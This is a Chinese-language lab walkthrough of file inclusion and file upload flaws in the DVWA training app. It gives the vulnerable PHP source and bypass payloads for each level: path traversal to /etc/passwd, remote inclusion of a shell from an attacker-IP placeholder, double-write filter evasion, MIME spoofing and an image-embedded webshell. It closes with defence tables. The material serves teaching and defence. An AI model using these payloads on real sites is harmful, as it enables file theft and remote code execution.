-
[一、文件包含漏洞(File Inclusion)](#一、文件包含漏洞(File Inclusion))
- [1.1 核心原理](#1.1 核心原理)
- [1.2 Low 级别:毫无防护](#1.2 Low 级别:毫无防护)
- [1.3 Medium 级别:简单过滤](#1.3 Medium 级别:简单过滤)
- [1.4 High 级别:通配符匹配](#1.4 High 级别:通配符匹配)
- [1.5 Impossible 级别:白名单硬编码](#1.5 Impossible 级别:白名单硬编码)
- [1.6 企业真实防御方案](#1.6 企业真实防御方案)
-
[二、文件上传漏洞(File Upload)](#二、文件上传漏洞(File Upload))
- [2.1 核心原理](#2.1 核心原理)
- [2.2 Low 级别:直接上传](#2.2 Low 级别:直接上传)
- [2.3 Medium 级别:MIME 校验](#2.3 Medium 级别:MIME 校验)
- [2.4 High 级别:后缀名 + 文件头](#2.4 High 级别:后缀名 + 文件头)
- [2.5 Impossible 级别:全方位防御](#2.5 Impossible 级别:全方位防御)
- [2.6 解析漏洞配合](#2.6 解析漏洞配合)
一、文件包含漏洞(File Inclusion)
1.1 核心原理
PHP 中常用 include()、require() 来动态加载文件。如果用户能控制参数:
<?php
include($_GET['page']);
?>
就可能导致:
- LFI(本地文件包含):读取服务器任意文件
- RFI(远程文件包含):执行远程恶意文件
- 日志投毒 → RCE:向日志写 PHP 代码,再包含日志执行
1.2 Low 级别:毫无防护
源码:
<?php
$file = $_GET['page'];
include($file);
?>
通关:
# Linux
?page=../../../../etc/passwd
# 远程文件包含(需 allow_url_include=On)
?page=http://攻击者IP/shell.txt
1.3 Medium 级别:简单过滤
源码:
$file = str_replace(array("http://", "https://", "../", "..\\"), "", $file);
绕过 --- 双写绕过:
?page=..././..././hackable/flags/fi.php
# 过滤后变成 ../,成功绕过!
1.4 High 级别:通配符匹配
源码:
if (!fnmatch("file*", $file)) { exit; }
绕过 --- file:// 伪协议:
?page=file:///D:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php
1.5 Impossible 级别:白名单硬编码
源码:
$whitelist = ["include.php", "file1.php", "file2.php", "file3.php"];
if (!in_array($file, $whitelist)) { exit; }
✅ 无法绕过 --- 核心教训:白名单 > 黑名单
1.6 企业真实防御方案
| 防御措施 | 具体做法 |
|---|---|
| 白名单 | 硬编码允许包含的文件列表 |
| 不拼接路径 | 使用映射表 $map['home'] = 'home.php' |
| open_basedir | 限制 PHP 只能访问指定目录 |
| 禁止远程包含 | allow_url_include = Off |
二、文件上传漏洞(File Upload)
2.2 Low 级别:直接上传
无任何校验,直接上传 shell.php,蚁剑连接。
2.3 Medium 级别:MIME 校验
源码:校验 $_FILES['uploaded']['type']
绕过:Burp 抓包改 Content-Type: application/octet-stream → image/jpeg
💡 Content-Type 来自客户端 HTTP 头,可任意伪造!
2.4 High 级别:后缀名 + 文件头
源码:校验后缀名 + getimagesize()
绕过 --- 图片马 + 文件包含:
Step 1:制作图片马
copy /b normal.jpg + shell.php shell.jpg
Step 2:上传 shell.jpg
Step 3:配合文件包含 Low 级别解析
?page=../../hackable/uploads/xxx.jpg
2.5 Impossible 级别:全方位防御
| 防御点 | 具体做法 | 目的 |
|---|---|---|
| Anti-CSRF | checkToken() | 防自动化攻击 |
| MIME 校验 | 只允许 image/jpeg、image/png | 类型过滤 |
| 后缀名校验 | 白名单 jpg/jpeg/png | 防改后缀 |
| 文件头校验 | getimagesize() | 确认真实图片 |
| 随机重命名 | md5(uniqid()...) | 防猜测路径 |
| 二次渲染 | imagecreatefromjpeg() 重新编码 | 破坏嵌入的恶意代码 |